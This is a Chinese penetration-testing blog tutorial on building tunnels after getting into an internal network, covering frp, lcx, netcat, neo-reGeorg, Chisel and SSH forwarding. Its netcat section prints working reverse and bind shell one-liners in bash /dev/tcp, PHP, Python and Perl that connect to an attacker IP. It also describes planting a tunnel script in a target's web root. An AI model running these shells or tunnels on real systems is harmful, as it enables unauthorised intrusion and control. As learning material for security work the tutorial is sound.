内网渗透隧道搭建

内网渗透隧道搭建

隐藏通信隧道技术通常用于在访问受限的内网环境中完成内网之内、内网与公网之间安全、稳定的数据传输。

在打进内网之后,为了方便我们进一步操作,我们需要搭建好隧道。在一些真实的网络环境中,网络中的主机彼此进行通信一般是通过建立TCP连接然后进行数据通信,但是企业出于安全方面的考虑,也通常会在边界设置一些软/硬件防火墙来检查内部网络和外部网络的连接情况。隧道不仅可以绕过一些防火墙的限制,还能使我们在本机浏览器便捷地访问内网的一些web访问,同时也有助于团队协作渗透

一些常见的隧道:

1
2
3
应用层隧道:HTTP隧道、HTTPS隧道、DNS隧道、SSH隧道 
传输层隧道:TCP隧道、UDP隧道
网络层隧道:ICMP隧道、IPV6隧道、GRE隧道

就挑几个常用的记录一下吧,感觉一些时候都是用neo-reGeorg+proxifier就可以达到目的了

判断网路流量的连通性

首先要判断此时的流量是否出的去、进的来。方便之后用对应放行的协议或端口来搭建相应的隧道。

  • 判断ICMP协议
1
ping <IP地址或域名>

ping一下外网的地址看看能不能通

  • 判断TCP、UDP协议

nc一下下

1
2
nc -zv <IP地址 端口号>   #默认检测TCP 
nc -zvu <IP地址 端口号> #u参数为检测UDP
  • 判断HTTP协议
1
wget <IP地址或域名>
1
curl <IP地址或域名>
  • 判断DNS协议

在windwos中可以用nslookup,在linux中可以利用dig

1
mslookup <域名> <DNS IP>  #windwos
1
dig @<DNS IP> <域名>      #linux,别忘了'@'

网络层隧道(略)

传输层隧道

端口转发&映射基础概念

  • 端口转发:

端口转发(Port forwarding),有时被叫做隧道,是安全壳(SSH) 为网络安全通信使用的一种方法。端口转发是转发一个网络端口从一个网络节点到另一个网络节点的行为,其使一个外部用户从外部经过一个被激活的NAT路由器到达一个在私有内部IP地址(局域网内部)上的一个端口。

  • 端口映射:

端口映射是NAT的一种,功能是把在公网的地址转翻译成私有地址, 采用路由方式的ADSL宽带路由器拥有一个动态或固定的公网IP,ADSL直接接在HUB或交换机上,所有的电脑共享上网。

端口转发,转发的重点在“转”上面。送快递的过来,把所有快递都交给门口保安,保安再根据每件快递上的收件人来分发。

端口映射就是在大门口给每个人装个柜子,送快递的直接按收件人名字,把快递放到对应的柜子里面。

在某些端口(如3389)端口的数据被屏蔽时,我们可以使用一些端口转发工具来把3389的流量给转发出来或者映射到服务器的其他端口上。

frp

这也是非常常用的代理方法,目标机可以正常访问互联网,可直接在目标机用frp挂上socks代理

项目地址:https://github.com/fatedier/frp

配置frp代理还需要一个有公网ip的vps来当跳板,当然这也方便了后续的多人协作,其他队友只需要连上vps对应端口的代理,就可以正常使用代理了

使用方法也是很简便

服务器端(vps):

编辑frps.ini文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
[common]

Bind_addr = 0.0.0.0 #服务端监听地址 默认0.0.0.0

bind_port = 7000 #服务端监听端口

dashboard_port = 7500 #状态以及代理统计信息展示,vpsip:7500可查看详情

dashboard_user = admin #访问用户

dashboard_pwd = password # dashboard_pwd访问密码

log_file = ./frps.log #log_file日志文件



log_level = info # log_level记录的日志级别

log_max_days = 3 # log_max_days日志留存3天

authentication_timeout = 0 #authentication_timeout超时时间

#max_pool_count最大链接池,每个代理预先与后端服务器建立起指定数量的最大链接数

max_pool_count = 50

allow_ports = 40000-50000 #允许代理绑定的服务端端口

这里对应的7000是受害机开放代理的端口

然后 执行

1
./frps -c ./frps.ini

目标机器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[common]
server_addr = vps的ip地址 #连接服务端的地址
server_port = 7000 #连接服务端的端口
tls_enable = ture #启用 TLS 协议加密连接
pool_count = 5 #连接池大小

[plugin_socks]
type = tcp
remote_port = 46075
plugin = socks5
plugin_user = admin
plugin_passwd = admin123
use_encryption = true
use_compression = true

use_encryption = true 启用加密 [通信内容加密传输,有效防止流量被拦截]

use_compression = true 启用压缩 [传输内容进行压缩,有效减小传输的网络流量,加快流量转发速度,但会额外消耗一些CPU资源]

默认均不开启

给予权限chmod 777 /frpc,然后cd 到这个目录执行

1
./frpc -c ./frpc.ini

最后在自己电脑浏览器或者proxifier之后正常配置代理就行了

lxc端口转发

lcx.exe是一个端口转发工具,有Windows版和Linux版两个版本,Windows版是lcx.exe,Linux版为portmap

功能:端口转发(listen和slave成对使用)、端口映射(tran)

命令参数:

1
2
3
4
5
lcx-<listen|tran|slave> <option> [-log logfile]
[option:]
-listen <监听端口> <转发端口>
-tran<监听端口> <目标地址> <目标端口>
-slave <目标主机> <目标端口> <本地主机><本机端口>

需要先将lcx.exe上传到目标主机

  • 内网端口转发

执行以下命令:

1
lcx.exe -slave <转发目标(vps)IP> <目标端口> <本机IP> <要本机转发的端口>

lcx.exe -slave 43.15.xx.xx 7089 192.168.1.66 3389
表示将本机IP地址192.168.1.66的3389端口转发到远程地址43.15.xx.xx的7089端口。

然后攻击者主机(vps)执行以下命令:

1
lcx.exe -listen <监听端口> <接受被控制主机的端口>

lcx.exe -listen 7089 3389
这是我在公网43.15.xx.xx服务器上执行的命令,他表示本机监听7089的端口接受远程3389传来的数据。

之后用远程桌面(mstsc)远程连接,登录“<攻击者主机ip>:<接受被控制主机的端口>”,或者直接在vps上127.0.0.1登录就好了

  • 本地端口映射

端口转发是把内网的流量给转发到我们公网的VPS中,而端口映射则是把内网中一个端口的流量转发到该内网中另外一个端口中以至于逃避防火墙的检测

1
lcx.exe -tran <被映射的端口> <ip> <要映射的端口>

例把内网中3389的流量转发到33891端口中

lcx.exe -tran 33891 192.168.178.133:3389

netcat

也就是常用的nc,Netcat简称NC,被称为网络工具中的瑞士军刀,体积小巧,但功能强大。它可以用作端口监听、端口扫描、远程文件传输、还可以实现远程shell等功能。

Kali是自带Netcat的

安装:

1
2
3
4
5
wget https://nchc.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz
tar -xvzf netcat-0.7.1.tar.gz
./configure
make && make install
make clean

使用语法:

1
nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p<通信端口>][-s<来源位址>][-v...][-w<超时秒数>][主机名称][通信端口...]

参数说明:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
-g <网关> 设置路由器跃程通信网关,最多可设置8个;
-G <指向器数目> 设置来源路由指向器,其数值为4的倍数;
-h 帮助;
-i <延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口;
-l 使用监听模式,管控传入的资料;
-n 直接使用IP地址,而不通过域名服务器;
-o <输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存;
-p <通信端口> 设置本地主机使用的通信端口;
-r 乱数指定本地与远端主机的通信端口;
-s <来源位址> 设置本地主机送出数据包的IP地址;
-u 使用UDP传输协议;
-v 显示指令执行过程;
-w <超时秒数> 设置等待连线的时间;
-z 使用0输入/输出模式,只在扫描通信端口时使用。
  • 本地主机端口监听
1
nc -lvp 自己设置一个端口
  • 连接到远程主机
1
nc -nvv 远程主机ip地址 端口
  • 端口扫描

可以扫描指定主机端口是否开放

1
2
3
4
5
扫描单一端口:
nc -v 目标ip 端口

扫描端口段:(下面例子为探测端口1到端口7089
nc -v -z 目标IP 1-7089
  • 端口监听

监听本地端口,当访问该端口时会输出该信息到命令行

1
nc -l -p 9999

获取shell

如果客户端连接服务器,客户端想要获取服务器shell,就成正向shell;如果客户端连接服务器,服务器想要获取客户端的shell,就叫反向shell。一般渗透过程中都是用反向shell比较多

  • 正向shell

目标(受害)机中执行

1
2
nc -lvp 4444 -e /bin/sh                            //Linux
nc -lvp 4444 -e c:\windows\system32\cmd.exe //Windows

在攻击机上执行

1
nc <受害机ip> 4444

但这种shell很容易被各种边界设备所拦截

  • 反向shell

攻击机上执行

1
nc -lvp 5555

受害机执行

1
2
nc <攻击机ip> 5555 -e /bin/sh                            //Linux
nc <攻击机ip> 5555 -e c:\windows\system32\cmd.exe //Windows
  • 受害机无nc反弹shell

很多情况下受害机并没有安装netcat

用bash

1
2
bash -i >& /dev/tcp/攻击机ip/端口 0>&1
bash -i >& /dev/tcp/192.168.1.4/6666 0>&1

用php

1
php -r '$sock=fsockopen("攻击机ip",攻击机监听的端口);exec("/bin/bash -i <&3 >&3 2>&3");'

用python

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机IP",攻击机监听的端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

用perl

1
perl -e 'use Socket;$i="攻击机ip";$p=攻击机监听端口;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

都没有就寄吧(用其他方法),哈哈哈哈

  • 内网代理

情景:已经获取了Web服务器的权限,通过攻击机(Kali)不能访问内网数据库服务器,但通过web服务器能访问数据库服务器

在Kali执行

1
nc -lvp 3333

数据库服务器执行

1
nc -lvp 3333 -e /bin/sh

web服务器执行

1
nc -v kali的ip 3333 -c "nc -v 数据库ip 3333"

应用层隧道

HTTP/HTTPS协议

neo-reGeorg+proxifier

弊端:需要将对应脚本放在web目录下,如果有蓝队或者维护人员及时把脚本删除,隧道可能就失效了

先用neo-reGeorg生成对应的脚本

1
python neoreg.py generate -k <密码>

可以看到已经生成对应的脚本了,接下来就是将对应语言的脚本添加到目标可访问的web目录下

比如我的目标是对应的是PHP语言,网站根目录为var/www/html

就把tunnel.php放在/var/www/html路径下

这里能看到已经上传了tunnel文件,(这是我只是在自己的vps上演示,实际情况更多的是用C2去将脚本上传到指定目录下)

之后就是利用上传的脚本建立socket5隧道

1
python neoreg.py -k <密码> -u <j脚本所在url>

可以看到已经成功使用本地端口1080创建了隧道并建立连接

接下来就是proxifier连接

profile->add

设置代理服务器为 127.0.0.1:1080 socks5代理

如果Neo-reGeorg与profiler跑在同一台机器上面需要将python的代理模式选择为直连,否则会陷入死循环。

这样就成功啦,是不是很简单

当你只使用socks5 连接到C2时(公网访问不了),你可以用neo-reGeorg在你C2的服务器上搭建隧道,然后只需在你的电脑配置好新的规则和服务就可以了,不需要在本地搭建隧道

Chisel

不知道该把它放在应用层还是传输层./

缺点:文件比较大。

Chisel是一个快速稳定的TCP/UDP隧道工具,该工具基于HTTP实现其功能,并通过SSH保证通信安全。Chisel是一个可执行文件,其中包含了客户端和服务器端,该工具基于Go(golang)语言开发,因此具备较好的跨平台特性。

使用教程:https://mysecroad.github.io/posts/13593.html

项目地址:https://github.com/jpillora/chisel/releases

用法类似frp

vps执行:

1
./chisel server -p 7000 --reverse

受害机

1
./chisel client vps-ip:7000 R:0.0.0.0:6000:socks

然后连接vps:6000的socks5代理

SSH协议

几乎所有的unix/linux主机都支持SSH协议,都可以通过SSH通信而在现实情况中,网管员经常会使用SSH连接来远程管理内网中的主机,所以一般情况下,边界设备并不会拦截SSH流量,加之SSH流量是加密的,一般的入侵检测工具很难检测出SSH流量的异常,所以渗透测试人员往往能通过SSH建立起一些其他隧道难以建立的TCP通信隧道

一般利用SSH客户端去连接服务端命令如下,192.168.1.1为服务端ip

1
ssh root@192.168.1.1

SSH常见参数:

1
2
3
4
5
6
7
8
-C 压缩传输
-f 后台执行SSH
-N 建立静默连接
-g 允许远程主机连接本地用于转发的端口
-L 本地端口转发
-R 远程端口转发
-D 动态转发
-P 指定SSH端口
  • 本地转发

网上扒个图

假设环境:攻击机无法访问数据库服务器,可以访问web服务器且已获得web服务器的权限,web服务器和数据库服务器可以互相访问

现在通过本地端口转发,访问攻击机本地的2021端口便可以打开数据库服务器的远程桌面

首先在攻击机上执行

1
ssh -CfNg -L 2021:192.168.1.2:3389 root@192.168.1.5

这条命令的意思就是攻击机去连接web服务器,连上之后由web服务器去连接数据库服务器的3389端口并把数据通过SSH通道传给攻击机

需要web服务器的密码

可以本地查看一下2021端口是否被监听来检查通道的建立是否正常

1
netstat -tulnp | grep "2021"

接下来在攻击机访问把本地2021端口即可打开数据库服务器的远程桌面

1
rdesktop 127.0.0.1:2021
  • 远程转发

示例环境:

攻击机无法访问数据库服务器,也无法访问web服务器但已获得web服务器的权限,web服务器和数据库服务器可以互相访问,web服务器可以访问具有公网IP的攻击机

想要通过访问攻击机本机的7890端口来访问数据库服务器的3389端口

web服务器上执行

1
ssh -CfNg -R 7890:192.168.1.2:3389 root@192.168.1.4

在攻击机访问本地7890端口

1
rdesktop 127.0.0.1:7890
  • 动态转发

在攻击机上执行

1
ssh -CfNg -D 6000 root@192.168.1.5

输入web服务器密码后

在本地打开浏览器设置网络代理,通过浏览器访问内网域控制器1.1.1.2

再扒张图

查看连接情况

1
netstat -tulnp | grep ":6000"

内网渗透隧道搭建
https://www.supersmallblack.cn/内网渗透隧道搭建.html
作者
Small Black
发布于
2023年10月2日
许可协议